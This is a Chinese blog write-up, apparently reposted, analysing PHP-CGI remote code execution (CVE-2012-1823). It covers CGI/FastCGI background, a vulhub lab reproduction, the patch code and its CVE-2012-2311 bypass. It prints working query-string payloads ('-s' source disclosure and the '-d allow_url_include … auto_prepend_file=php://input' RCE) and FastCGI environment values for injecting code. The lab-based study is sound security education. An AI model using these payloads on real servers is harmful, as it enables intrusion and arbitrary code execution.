php-cgi漏洞,PHP-CGI远程代码执行漏洞(CVE-2012-1823)

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

漏洞分析

PHP SAPI 与运行模式

在PHP源码中,有一个目录叫sapi。sapi在PHP中的作用,类似一个消息的“传递者”,(PHP-FPM中的fpm,其作用就是接受web容器通过fastcgi协议封装好的数据,交给PHP解释器执行;除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。)

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,所以现在越来越多的web应用使用php-fpm去运行php。

CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。

漏洞复现

环境部署

利用vulhub漏洞环境进行测试

进入ssrf漏洞环境

cd vulhub-master/php/CVE-2012-1823进行环境构建

docker-compose build

启动环境

docker-compose up -d

然后访问目标地址   http://ip:8080

fd2e9714d0f0362c8f3c113f6d212943.png

漏洞测试

访问目标地址

http:ip:8080/index.php/?-s

若返回源码,则说明存在此漏洞

708c9318c29163797d0bacfc4310f4ee.png

漏洞利用

通过阅读源码,发现cgi模式下通过可控命令行参数有如下一些参数可用:

-c 指定php.ini文件的位置-n 不要加载php.ini文件-d 指定配置项-b 启动fastcgi进程-s 显示文件源码-T 执行指定次该文件-h和-? 显示帮助

可以看出最简单的就是利用-s查看源码

任意代码执行

通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:

利用burpsuite抓包,然后修改数据包内容在`index.php?`后面添加

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

再添加传输内容

如下:

defa0475775f6e886ca8271450a00cb0.png

可以看出body中的代码内容已经被执行并返回结果

原理分析

PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

{‘GATEWAY_INTERFACE‘: ‘FastCGI/1.0‘,‘REQUEST_METHOD‘: ‘GET‘,‘SCRIPT_FILENAME‘: ‘/var/www/html/index.php‘,‘SCRIPT_NAME‘: ‘/index.php‘,‘QUERY_STRING‘: ‘?a=1&b=2‘,‘REQUEST_URI‘: ‘/index.php?a=1&b=2‘,‘DOCUMENT_ROOT‘: ‘/var/www/html‘,‘SERVER_SOFTWARE‘: ‘php/fcgiclient‘,‘REMOTE_ADDR‘: ‘127.0.0.1‘,‘REMOTE_PORT‘: ‘12345‘,‘SERVER_ADDR‘: ‘127.0.0.1‘,‘SERVER_PORT‘: ‘80‘,‘SERVER_NAME‘: "localhost",

‘SERVER_PROTOCOL‘: ‘HTTP/1.1‘

‘PHP_VALUE‘: ‘auto_prepend_file = php://input‘,‘PHP_ADMIN_VALUE‘: ‘allow_url_include = On‘}

设置`auto_prepend_file = php://input`且`allow_url_include = On`,然后将我们需要执行的代码放在Body中,即可执行任意代码。

漏洞修复

CVE-2012-2311

这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。

PHP的修复方法是对-进行了检查:

if(query_string = getenv("QUERY_STRING")) {

decoded_query_string =strdup(query_string);

php_url_decode(decoded_query_string, strlen(decoded_query_string));

if(*decoded_query_string == ‘-‘ && strchr(decoded_query_string, ‘=‘) ==NULL) {

skip_getopt= 1;

}

free(decoded_query_string);

}

可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。

这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

#!/bin/sh

exec/usr/local/bin/php-cgi $*

通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

于是,php5.4.3和php5.3.13中继续进行修改:

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, ‘=‘) == NULL) {

/* we‘ve got query string that has no = - apache CGI will pass it to command line */

unsigned char *p;

decoded_query_string = strdup(query_string);

php_url_decode(decoded_query_string, strlen(decoded_query_string));

for (p = decoded_query_string; *p && *p <=‘ ‘; p++) {

/* skip all leading spaces */

}

if(*p ==‘-‘) {

skip_getopt = 1;

}

free(decoded_query_string);

}

原文:https://www.cnblogs.com/riginal/p/11314565.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值